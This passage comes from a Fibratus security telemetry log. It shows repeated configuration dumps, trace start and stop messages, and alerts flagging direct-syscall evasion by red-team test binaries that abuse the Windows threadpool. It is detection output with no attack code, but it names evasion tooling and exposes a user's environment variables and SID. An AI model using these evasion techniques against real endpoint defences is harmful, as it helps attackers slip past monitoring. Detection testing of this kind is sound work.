Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff6019c1103 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff6019c134c C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T19:55:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:55:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:55:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:58:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:58:57+01:00 level=info msg=bootstrapping with pid 23120. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:58:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-dns=>false min-buffers=>16 stack-enrichment=>true flush-interval=>1s enable-audit-api=>true enable-vamap=>true max-buffers=>36 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-thread=>true enable-threadpool=>true enable-image=>true enable-mem=>false buffer-size=>512 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false durable=>false passive=>false routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 enabled=>false exchange=>fibratus] elasticsearch=>[ sniff=>false enabled=>false index-name=>fibratus healthcheck-interval=>10s gzip-compression=>false timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck=>true trace-log=>false healthcheck-timeout=>5s flush-period=>1s] http=>[ method=>POST endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enabled=>false timeout=>5s enable-gzip=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false enabled=>false skip-allocs=>false skip-mmaps=>false skip-files=>false scan-timeout=>10s excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:58:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:58:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:59:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:59:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:59:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:59:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:59:24+01:00 level=info msg=bootstrapping with pid 24412. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:59:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-thread=>true enable-audit-api=>true enable-dns=>false enable-handle=>false enable-image=>true enable-fileio=>true enable-vamap=>true enable-mem=>false enable-registry=>true min-buffers=>16 flush-interval=>1s max-buffers=>36 enable-net=>true enable-threadpool=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 level=>info max-size=>100 log-stdout=>true formatter=>text] + output ......................... [ http=>[ enable-gzip=>false serializer=>json method=>POST endpoints=>[] enabled=>false timeout=>5s tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s template-name=>fibratus bulk-workers=>1 trace-log=>false healthcheck-interval=>10s flush-period=>1s enabled=>false index-name=>fibratus gzip-compression=>false sniff=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false passive=>false vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false exchange=>fibratus timeout=>5s]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false skip-registry=>false fastscan=>true excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:59:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:59:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:59:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3323603 + Pid: 7212 + Tid: 3728 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 19:59:29.9727405 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ d83a0ff710, pool_id➜ 1fe28701a80, subprocess_tag➜ 0, task_id➜ 1fe28714f68 + Metadata: evasions: [direct_syscall] + + Pid: 7212 + Ppid: 16440 + Name: proxyHelper.exe + Cmdline: + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff7ae811133 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7ff7ae811418 C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T19:59:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:59:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:59:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:00:07+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T20:00:07+01:00 level=info msg=bootstrapping with pid 3984. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T20:00:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false enable-net=>true flush-interval=>1s enable-image=>true enable-thread=>true enable-dns=>false enable-registry=>true buffer-size=>512 enable-threadpool=>true max-buffers=>36 stack-enrichment=>true enable-fileio=>true enable-vamap=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 formatter=>text max-size=>100 level=>info] + output ......................... [ http=>[ endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] elasticsearch=>[ trace-log=>false sniff=>false timeout=>5s template-name=>fibratus healthcheck-timeout=>5s enabled=>false gzip-compression=>false index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s] amqp=>[ vhost=>/ enabled=>false timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 durable=>false delivery-mode=>transient passive=>false exchange-type=>topic exchange=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false enabled=>false skip-allocs=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T20:00:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:00:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:00:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T20:00:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:00:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:00:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T20:00:47+01:00 level=info msg=bootstrapping with pid 18032. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T20:00:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 content-type=>text/html enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>true enable-registry=>true enable-handle=>false max-buffers=>36 enable-image=>true flush-interval=>1s min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-dns=>false enable-thread=>true enable-fileio=>true buffer-size=>512 enable-net=>true enable-vamap=>true stack-enrichment=>true enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true formatter=>text max-size=>100 level=>info max-backups=>15] + output ......................... [ amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus passive=>false url=>amqp://localhost:5672 enabled=>false durable=>false vhost=>/ exchange-type=>topic routing-key=>fibratus] elasticsearch=>[ healthcheck-timeout=>5s enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s gzip-compression=>false healthcheck=>true bulk-workers=>1 index-name=>fibratus trace-log=>false flush-period=>1s sniff=>false] eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false serializer=>json enable-gzip=>false timeout=>5s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false skip-registry=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T20:00:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:00:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:02:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T20:02:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:02:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T20:56:29+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T20:56:29+01:00 level=info msg=bootstrapping with pid 6400. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T20:56:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true stack-enrichment=>true enable-mem=>false enable-dns=>false enable-thread=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-handle=>false min-buffers=>16 enable-threadpool=>true flush-interval=>1s enable-vamap=>true max-buffers=>36 enable-net=>true enable-fileio=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 level=>info log-stdout=>true max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s] amqp=>[ url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient exchange=>fibratus durable=>false timeout=>5s passive=>false tls-insecure-skip-verify=>false vhost=>/ enabled=>false routing-key=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] elasticsearch=>[ gzip-compression=>false bulk-workers=>1 index-name=>fibratus timeout=>5s trace-log=>false healthcheck-interval=>10s template-name=>fibratus sniff=>false enabled=>false flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] skip-files=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T20:56:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:56:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T20:56:47+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3407327 + Pid: 21580 + Tid: 23832 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 20:56:46.2741341 +0100 CET + Params: callback➜ 7ff7ae811000, callback_module➜ C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe, context➜ cbe7cffee0, pool_id➜ 1e5088f1a80, subprocess_tag➜ 0, task_id➜ 1e508904f68 + Metadata: evasions: [direct_syscall] + + Pid: 21580 + Ppid: 16440 + Name: proxyHelper.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe + Cwd: C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\Proxy-Function-Calls-For-ETwTI\proxyHelper.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework64\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkDir64:C:\Windows\Microsoft.NET\Framework64\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 FrameworkVersion64:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual 